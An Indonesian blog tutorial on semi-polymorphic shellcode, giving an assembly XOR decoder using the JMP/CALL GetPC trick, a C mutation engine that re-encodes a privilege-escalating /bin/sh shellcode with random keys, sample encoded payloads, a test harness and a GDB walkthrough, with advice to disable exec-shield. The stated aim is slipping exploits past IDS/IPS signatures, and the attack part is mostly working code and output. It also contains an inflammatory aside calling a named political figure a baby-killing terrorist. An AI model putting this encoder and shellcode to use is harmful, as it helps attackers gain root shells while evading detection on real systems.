Sebelumnya saya minta maaf dulu karena
absen cukup lama menulis di blog ini. Saya terakhir menulis tentang
pembuatan shellcode, untuk local maupun remote exploit. Seharusnya kali
ini saya menulis mengenai cara memakai shellcode itu dalam exploit,
namun ada satu hal yang menarik untuk ditulis sebelum masuk ke
pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti pada artikel
selanjutnya saya akan bahas true-polymorphic shellcode.
Apa itu Polymorphic Shellcode
Secara bahasa polymorphic artinya banyak
bentuk. Polymorphic shellcode adalah shellcode yang mempunyai banyak
bentuk. Dari satu induk shellcode yang sama bisa dilahirkan banyak
sekali shellcode yang berbeda-beda dalam level bit, maksudnya bila
dilihat bit per bit semua shellcode tersebut berbeda total, padahal
semua berasal dari satu induk.
source:ncbray.blogspot.com
Polymorphic shellcode diperlukan untuk
bisa lolos dari deteksi Intrusion Detection/Prevention System. IDS/IPS
memeriksa paket data yang lewat. Bila paket tersebut mengandung data
yang dianggap berbahaya, maka satpam akan membunyikan alarm atau
mencegah paket tersebut lewat.
Perhatikan ilustrasi berikut ini.
Teroris bernama Bush (bukan nama sebenarnya), sebelumnya pernah berhasil meledakkan sasaran dan membunuh ribuan bayi di Irak, namun kini fotonya sudah diketahui semua orang sehingga dia tidak leluasa lagi melakukan serangan berikutnya.Agar serangan berikutnya berjalan lancar, Bush harus mengubah wajahnya dengan operasi plastik, menumbuhkan kumis, mengubah rambut dsb. Dengan wajah yang berbeda total, maka polisi tidak akan mengenali Bush, dan Bush bisa melakukan serangan dengan lancar.Dalam setiap serangannya Bush harus mengubah wajahnya agar berbeda dari wajahnya pada serangan-serangan sebelumnya.
Begitulah ilustrasi dari polymorphic
shellcode, ketika sebuah shellcode sudah pernah dipakai dan signaturenya
(ciri-ciri) sudah di-blacklist oleh IDS/IPS, maka shellcode tersebut
sudah berkurang efektivitasnya. Bila shellcode yang sama dipakai lagi,
maka IDS/IPS akan dengan mudah mendeteksi dan mencegah serangan itu.
Untuk menipu IDS/IPS maka shellcode
sebelum dipakai dalam exploit harus mengalami mutasi yaitu mengubah
bentuk fisiknya tanpa mengubah fungsinya. Ingat shellcode adalah
kumpulan byte opcode yang merepresentasikan instruksi assembly/bahasa
mesin. Polymorphic shellcode berarti bahwa instruksi assembly bisa
berubah menjadi banyak macam tetapi tidak mengubah fungsi utama dan
hasil akhirnya.
Lho kok bisa? Mudah saja, sebagai contoh
bayangkan bahwa algoritma utamanya adalah formula A+B*2. Kita bisa
mutasi-kan formula itu menjadi banyak bentuk:
- B*2+A
- B+B+A
- B+1+B+A-1
- B*2+B*3+A-B*2-B
Semua mutasi di atas menghasilkan hasil
akhir yang sama persis, walaupun formulanya jauh berbeda. IDS/IPS yang
hanya mem-blacklist “A+B*2″ tidak akan menganggap paket berisi “B+B+A”
atau “B+1+B+A-1″ sebagai paket berbahaya karena tidak ada dalam kamus
blacklistnya, padahal semuanya sama saja hanya bentuknya saja yang
berbeda.
Gambar di atas adalah software untuk mengubah bentuk wajah dengan mengganti bentuk mata, alis, rambut, kumis dsb. Semua shellcode bisa di-mutasi menghasilkan shellcode baru yang berbeda namun tetap dengan fungsi yang sama menggunakan script “Mutation Engine”. Mutation engine ini bisa dibayangkan mirip dengan gambar di atas, sebuah software yang mempunyai fasilitas untuk mengubah-ubah bentuk mata, alis, kumis, hidung untuk membuat wajah baru yang berbeda. Namun tentu saja mutation engine melakukan mutasi secara otomatis, tanpa harus menunggu inputan/klik dari pengguna.
Semi Polymorphic Shellcode
Saya akan mulai dengan membuat shellcode
yang sifatnya semi polymorphic. Semi disini berarti shellcode yang
dihasilkan tidak total berbeda antar hasil mutasi dari satu shellcode
yang sama. Masih ada consecutive byte, byte yang berurutan yang bisa
dijadikan ciri khas (signature) dari shellcode tersebut.
Semua polymorphic shellcode dibuat
dengan menggunakan teknik encoding/decoding dengan prosedur decoder
ditempatkan di awal shellcode, hanya bedanya pada semi polymorphic,
prosedur decoder relatif statis, tidak ikut ter-mutasi. Sedangkan pada
true polymorphic shellcode, prosedur/rutin decodernya juga ikut
termutasi sehingga lebih sulit dideteksi IDS/IPS.
Algoritma encode/decode yang dipakai
tidak rumit, hanya menggunakan operasi logika XOR. Sifat dari logika XOR
adalah reversible, jika suatu bilangan di-XOR dua kali dengan kunci
yang sama, maka akan menghasilkan nilai awalnya.
Contoh:
11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)
Kenapa diperlukan decoder? Ingat
shellcode adalah kumpulan byte opcode bahasa mesin, jadi bila shellcode
tersebut di-encode maka byte opcode menjadi opcode yang berbeda atau
menjadi opcode yang tidak dikenal prosesor. Decoder bertugas untuk
mengembalikan byte shellcode yang ter-encode menjadi normal kembali
sehingga bisa dikenal dan dieksekusi prosesor.
Contohnya bila dalam shellcode
mengandung byte opcode \xCD\x80 yang dikenal prosesor sebagai interrupt
no 80 hexa. Dalam proses mutasi, opcode CD80 di-encode dengan XOR 5
menjadi \xC8\x85 yang tidak dikenal oleh prosesor (bukan instruksi yang
valid). Agar shellcode bisa dieksekusi maka decoder harus mengembalikan
\xC8\x85 menjadi normal kembali \xCD\x80.
Gambar di atas memperlihatkan proses mutasi dari original shellcode menjadi shellcode yang telah termutasi. Mutation engine di atas menggunakan satu decoder yang sama dan menghasilkan banyak shellcode sesuai dengan key yang dipakai. Key ini dipakai untuk encode dan decode menggunakan operasi logika XOR. Setiap shellcode hasil mutation engine terdiri dari decoder di awal dan shellcode yang ter-encode.
Umumnya shellcode di-injeksi melalui input program sebagai tipe data
string. Secara internal string adalah array of character yang diakhiri
dengan karakter NULL (‘\0′). Byte NULL tidak boleh ada dalam shellcode
karena bisa membuat shellcode gagal di-injeksi secara penuh. Byte NULL
adalah salah satu yang disebut dengan ‘bad characters’, yaitu karakter
yang terlarang ada dalam shellcode.
Bad characters bisa berbeda-beda, tergantung dari aplikasi yang akan
di-exploit. Bila dalam aplikasi tersebut, keberadaan karakter new line
(\n) dan enter (\r) membuat shellcode gagal terinjeksi dengan sempurna,
maka character itu jangan sampai ada dalam shellcode.
Namun terkadang sulit untuk menghindari adanya karakter terlarang dalam
shellcode. Teknik encoding shellcode ini bisa juga dipakai untuk
menghilangkan karakter terlarang. Jadi teknik ini tidak hanya berguna
untuk menghindari tertangkap IDS/IPS tapi juga membantu menghindari
karakter terlarang.
JMP/CALL GetPC
Instruksi yang pertama dieksekusi adalah
decoder. Decoder ini bertugas untuk melakukan decode dengan operator
XOR menggunakan kunci yang sama pada waktu encoding. Masalahnya adalah
shellcode ini bisa diload di alamat memori berapapun, jadi tidak bisa
di-harcode lokasinya sejak awal dalam rutin decoder. Decoder harus tahu
pada saat dieksekusi (run-time), di mana lokasi memori tempat
penyimpanan shellcode ter-encode.
Teknik mencari lokasi memori dirinya
ketika dieksekusi ini disebut dengan GETPC (get program counter/EIP).
Trik yang biasa dipakai adalah menggunakan instruksi JMP dan CALL.
Decoder akan JMP ke lokasi tepat di atas (sebelum) shellcode yang
ter-encode. Pada lokasi tersebut ada instruksi CALL ke lokasi sesudah
instruksi JUMP tadi. CALL akan mem-push ke dalam stack return address,
yaitu alamat memori instruksi sesudah CALL. Karena lokasi shellcode
ter-encode tepat sesudah instruksi CALL, maka dalam puncak stack akan
berisi alamat memori (EIP/PC) shellcode ter-encode.
Tidak seperti umumnya instruksi CALL
yang diikuti dengan RET, dalam trik ini kita tidak memerlukan instruksi
RET karena kita tidak sedang benar-benar memanggil subroutine.
Instruksi CALL dimanfaatkan untuk mengambil EIP/PC dari instruksi
sesudah CALL.
Gambar di atas menunjukkan alur JMP/CALL
untuk mendapatkan lokasi memori shellcode ter-encode. Pertama-tama
decoder akan JMP ke lokasi point1, yang di sana ada instruksi CALL ke
point2. Tepat di bawah CALL point2 adalah lokasi memori di mana
shellcode ter-encode berada. Jadi ketika CALL dieksekusi lokasi
encoded_shellcode akan di-push ke dalam stack sebagai return address
dari instruksi CALL. Pada point2, terdapat instruksi POP ESI yang
maksudnya adalah mengambl return address instruksi CALL pada point1,
yaitu lokasi memori shellcode ter-encode.
Assembly Decoder
Kita langsung saja buat kode assembly yang melakukan decoding dengan
operasi logika XOR. Kita memanfaatkan teknik GETPC JMP/CALL seperti alur
pada gambar di atas.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | global _start _start: jmp short point1 point2: pop esi ; ESI = sebagai index lokasi byte yang akan di-decode xor ecx,ecx ; ECX = 0 mov cl,0x0 ; ECX = shellcode size decode_sc: xor byte[esi],0x0 ; XOR 1 byte memori pada lokasi yang ditunjuk ESI inc esi ; ESI maju 1 byte, decode byte berikutnya loop decode_sc ; Loop sebanyak ECX (ukuran shellcode) jmp short encoded_sc ; decode selesai, jump and execute shellcode! point1: call point2 ; call, push address of encoded_sc ke stack encoded_sc: ; encoded shellcode di sini
|
Proses decoding di atas dilakukan dengan melakukan XOR dalam loop yang
dimulai dari lokasi encoded_sc (yang disimpan di ESI) sebanyak ukuran
encoded shellcode (yang disimpan di ECX). Sebelumnya lokasi encoded_sc
diketahui dengan melakukan trik JMP/CALL GETPC dan lokasi encoded_sc
disimpan di register ESI. Setelah loop selesai, shellcode telah kembali
normal dan siap dieksekusi. Jadi setelah loop, ada instruksi JUMP ke
lokasi encoded_sc.
Sekarang kita akan mengambil opcodenya dengan cara compile, link dan melakukan objdump.
$ nasm -f elf decoderjmpcall.asm $ ld -o decoderjmpcall decoderjmpcall.o $ objdump -d ./decoderjmpcall ./decoderjmpcall: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 0d jmp 804806f <point1> 08048062 <point2>: 8048062: 5e pop %esi 8048063: 31 c9 xor %ecx,%ecx 8048065: b1 00 mov $0x0,%cl 08048067 <decode_sc>: 8048067: 80 36 00 xorb $0x0,(%esi) 804806a: 46 inc %esi 804806b: e2 fa loop 8048067 <decode_sc> 804806d: eb 05 jmp 8048074 <encoded_sc> 0804806f <point1>: 804806f: e8 ee ff ff ff call 8048062 <point2> |
Sedikit penjelasan mengenai opcode di atas untuk menambah pengetahuan
assembly. Di awal ada instruksi “JMP point1″. Opcode untuk JMP adalah
0xEB. Perhatikan point1 terletak 13 byte setelah instruksi ini, oleh
karena itu opcodenya adalah “0xEB 0x0D”, yang artinya Jump sejauh 0x0D
hex (13) byte setelah instruksi ini.
Sebagai ilustrasi perhatikan output objdump di atas, instruksi “JMP
point1″ ada di lokasi memori 0×8048060, dan kita tahu instruksi “JMP
point1″ memakan ruang 2 byte (0xEB dan 0x0D), maka tujuan lompatannya
adalah 0×8048060 + 2 + 13 = 0x804806f. Sekali lagi ingat, dihitungnya
dari lokasi sesudah instruksi JMP, yaitu 0×8048062. Kemudian dihitung
0x0D (13 byte) dari lokasi 0×8048062 menjadi 0x804806f.
Sedangkan pada point1, ada instruksi “CALL point2″ yang memakan ruang 5
byte (0xE8 0xEE 0xFF 0xFF 0xFF). 0xE8 adalah opcode untuk CALL,
sedangkan 0xEE 0xFF 0xFF 0xFF dalam notasi little-endian adalah
0xFFFFFFEE yang merupakan representasi bilangan signed integer -18.
Kenapa kok jaraknya -18 ? Perhatikan lagi output objdump di atas. Ingat,
mirip dengan JMP jarak lompatan dihitung dari lokasi sesudah instruksi
CALL. Lokasi memori sesudah instruksi “CALL point2″ adalah 0x804806f+5 =
0×8048074. Kalau kita hitung 18 byte sebelum 0×8048074, maka kita
dapatkan lokasi 0×8048062, yang tidak lain adalah lokasi point2.
Sekarang kita extract opcodenya dan menuliskannya dalam notasi shellcode hexadecimal.
$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff" |
Pada gambar di atas terlihat opcode dari decoder yang akan kita pakai. Perhatikan ada dua byte yang berwarna biru, yaitu ukuran shellcode pada index ke-6 dan kunci XOR pada index ke-9. Nantinya hanya dua byte itu saja yang berubah dalam setiap mutasi shellcode, byte selain itu selalu sama oleh karena itu kita tidak mengatakan true-polymorphic tetapi hanya semi-polymorphic.
Kini setelah kita memiliki opcode decoder, kita bisa
mulai membuat mutation engine, yaitu script yang melakukan encoding dan
menghasilkan encoded shellcode. Kita membuat dalam bahasa C, dan sebagai
induk kita gunakan shellcode yang kita pakai dalam local exploit di
artikel “belajar membuat shellcode part 1“.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | #include <sys/time.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int getnumber(int quo) { int seed; struct timeval tm; gettimeofday( &tm, NULL ); seed = tm.tv_sec + tm.tv_usec; srandom( seed ); return (random() % quo); } void print_code(char *data) { int i,l=0; for (i = 0; i < strlen(data); ++i) { if (l==0) { printf("\""); } if (l >= 15) { printf("\"\n\""); l = 0; } printf("\\x%02x", ((unsigned char *)data)[i]); ++l; } printf("\";\n\n"); } int main() { char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int count; int number = getnumber(200); int badchar = 0; int ldecoder; int lshellcode = strlen(shellcode); char *result; char decoder[] = "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa" "\xeb\x05\xe8\xee\xff\xff\xff"; decoder[6] += lshellcode; decoder[9] += number; ldecoder = strlen(decoder); do { if(badchar == 1) { number = getnumber(10); decoder[16] += number; badchar = 0; } for(count=0; count < lshellcode; count++) { shellcode[count] = shellcode[count] ^ number; if(shellcode[count] == '\0') { badchar = 1; } } } while(badchar == 1); result = malloc(lshellcode + ldecoder); strcpy(result,decoder); strcat(result,shellcode); printf("Key: %02x\n",number); print_code(result); }
|
Sekarang kita coba jalankan dan kita lihat hasil mutasinya sebanyak 3 kali.
$ ./encoder Key: 29 "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9" "\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca" "\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9"; $ ./encoder Key: 1a "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a" "\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9" "\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a"; $ ./encoder Key: 45 "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5" "\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6" "\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5"; |
Pada gambar di atas, mutation engine menghasilkan 3 mutant dengan 3
kunci yaitu 29h, 1Ah, 45h. Pada bagian decoder, hampir tidak ada
bedanya, yang berbeda hanyalah pada byte yang menyimpan kunci XOR dan
shellcode size.
Kunci XOR disimpan di decoder pada opcode “\x80\x36\x00″, yang berarti
instruksi assembly “xor byte[esi],0×0″. Bila \x00 pada opcode
“\x80\x36\x00″ diganti menjadi x29, maka berarti kita juga memodifikasi
instruksi assemblynya menjadi “xor byte[esi],0×29″. Begitu juga bila
kita mengganti dengan \x1A dan \x45.
Opcode “\xb1\x23″ pada decoder adalah shellcode size, yang dalam
assembly berarti “mov cl,0×23″. Dalam program tersebut kebetulan kita
memakai shellcode berukuran 35 byte (23h). Bila shellcode yang dipakai
ukurannya adalah 50 byte, maka mutation engine akan mengganti menjadi
“\xb1\x32″ yang dalam assembly berarti “mov cl,0×32″.
Sedangkan untuk bagian encoded shellcode yang berwarna ungu, dari 3 kali
dijalankan, mutation engine menghasilkan 3 encoded shellcode yang jauh
berbeda, inilah yang disebut dengan polymorphic. Namun tentu saja karena
decodernya statik, hasilnya tidak true-polymorphic, tapi cukup kita
sebut semi-polymorphic saja.
Sekarang kita coba execute shellcode hasil mutasi dengan kunci 1Ah di atas. Saya akan gunakan program kecil dalam bahasa C di bawah ini
.
1 2 3 4 5 6 7 8 | char shellcode[] = "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a" "\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9" "\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a"; int main(void) { asm("jmp shellcode"); }
|
Kita akan debug dengan GDB untuk melihat dalam memori apa yang terjadi sebelum dan sesudah decoder dieksekusi.
Jangan lupa matikan dulu exec-shield dengan cara: echo “0″ > /proc/sys/kernel/exec-shield. Bila anda memakai kernel-PAE maka shellcode ini tidak bisa dieksekusi karena pada kernel-PAE ada fitur NX-bit.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | $ gcc -o execsc execsc.c $ gdb ./execsc (gdb) set disassembly-flavor intel (gdb) x/25i &shellcode 0x8049540 <shellcode>: jmp 0x804954f <shellcode+15> 0x8049542 <shellcode+2>: pop esi 0x8049543 <shellcode+3>: xor ecx,ecx 0x8049545 <shellcode+5>: mov cl,0x23 0x8049547 <shellcode+7>: xor BYTE PTR [esi],0x1a 0x804954a <shellcode+10>: inc esi 0x804954b <shellcode+11>: loop 0x8049547 <shellcode+7> 0x804954d <shellcode+13>: jmp 0x8049554 <shellcode+20> 0x804954f <shellcode+15>: call 0x8049542 <shellcode+2> 0x8049554 <shellcode+20>: sub ebx,edx 0x8049556 <shellcode+22>: stos BYTE PTR es:[edi],al 0x8049557 <shellcode+23>: pop esp 0x8049558 <shellcode+24>: sub eax,ecx 0x804955a <shellcode+26>: sub edx,ebx 0x804955c <shellcode+28>: xlat BYTE PTR ds:[ebx] 0x804955d <shellcode+29>: call 0x3535:0x724ada2b 0x8049564 <shellcode+36>: imul esi,DWORD PTR [edx+114],0x74737835 0x804956b <shellcode+43>: xchg ebx,eax 0x804956c <shellcode+44>: stc 0x804956d <shellcode+45>: dec edx 0x804956e <shellcode+46>: dec ecx 0x804956f <shellcode+47>: xchg ebx,eax 0x8049570 <shellcode+48>: sti 0x8049571 <shellcode+49>: sub ecx,eax 0x8049573 <shellcode+51>: stos BYTE PTR es:[edi],al (gdb) b *0x804954d Breakpoint 4 at 0x804954d |
Di atas adalah hasil disassembly dari shellcode sebelum decoder
dijalankan. Instruksinya bukan instruksi shellcode original. Sekarang
kita coba run dan lihat instruksi assembly hasil decodingnya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | (gdb) run Starting program: /home/admin/overflow/execsc (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x0804954d in shellcode () (gdb) x/25i &shellcode 0x8049540 <shellcode>: jmp 0x804954f <shellcode+15> 0x8049542 <shellcode+2>: pop esi 0x8049543 <shellcode+3>: xor ecx,ecx 0x8049545 <shellcode+5>: mov cl,0x23 0x8049547 <shellcode+7>: xor BYTE PTR [esi],0x1a 0x804954a <shellcode+10>: inc esi 0x804954b <shellcode+11>: loop 0x8049547 <shellcode+7> 0x804954d <shellcode+13>: jmp 0x8049554 <shellcode+20> 0x804954f <shellcode+15>: call 0x8049542 <shellcode+2> 0x8049554 <shellcode+20>: xor eax,eax 0x8049556 <shellcode+22>: mov al,0x46 0x8049558 <shellcode+24>: xor ebx,ebx 0x804955a <shellcode+26>: xor ecx,ecx 0x804955c <shellcode+28>: int 0x80 0x804955e <shellcode+30>: xor eax,eax 0x8049560 <shellcode+32>: push eax 0x8049561 <shellcode+33>: push 0x68732f2f 0x8049566 <shellcode+38>: push 0x6e69622f 0x804956b <shellcode+43>: mov ebx,esp 0x804956d <shellcode+45>: push eax 0x804956e <shellcode+46>: push ebx 0x804956f <shellcode+47>: mov ecx,esp 0x8049571 <shellcode+49>: xor edx,edx 0x8049573 <shellcode+51>: mov al,0xb 0x8049575 <shellcode+53>: int 0x80 |
Karena kita ingin melihat hasil decodingnya, maka kita pasang breakpoint
pada titik shellcode+13 (0x804954d). Pada titik tersebut ada instruksi
“jmp 0×8049554 “, yaitu instruksi untuk mengeksekusi
shellcode yang telah di-decode. Setelah breakpoint dipasang, kita bisa
jalankan program dengan run. Ketika breakpoint dicapai, kita bisa lihat
hasil decodingnya pada lokasi shellcode+20 sampai shellcode+53.
Sebagai contoh perhatikan pada shellcode+20, instruksi sebelum decode
adalah “sub ebx,edx”, instruksi itu bukan instruksi shellcode originial.
Namun setelah decoding selesai pada lokasi tersebut menjadi “xor
eax,eax” yang merupakan instruksi shellcode yang asli. Contoh lain, pada
lokasi shellcode+28 sebelum decode instruksinya adalah “xlat BYTE PTR
ds:[ebx]“, namun setelah decode kembali normal menjadi “int 0×80″.
Tabel di bawah ini menunjukkan beberapa perbedaan antara instruksi
assembly dari shellcode original dengan instruksi assembly yang telah
ter-encode. Kolom “Before Decoding” adalah assembly shellcode yang telah
di-encode, sedangkan kolom “After Decoding” menunjukkan assembly
shellcode yang original setelah decoder selesai bekerja.
Address | Before Decoding | After Decoding |
---|---|---|
shellcode+20 | sub ebx,edx | xor eax,eax |
shellcode+22 | stos BYTE PTR es:[edi],al | mov al,0×46 |
shellcode+28 | xlat BYTE PTR ds:[ebx] | int 0×80 |
shellcode+46 | dec ecx | push ebx |
Oke, sampai disini dulu pembahasan mengenai semi-polymorphic shellcode, sampai jumpa lagi pada artikel berikutnya mengenai true-polymorphic shellcode.
Sumber
0 komentar:
Post a Comment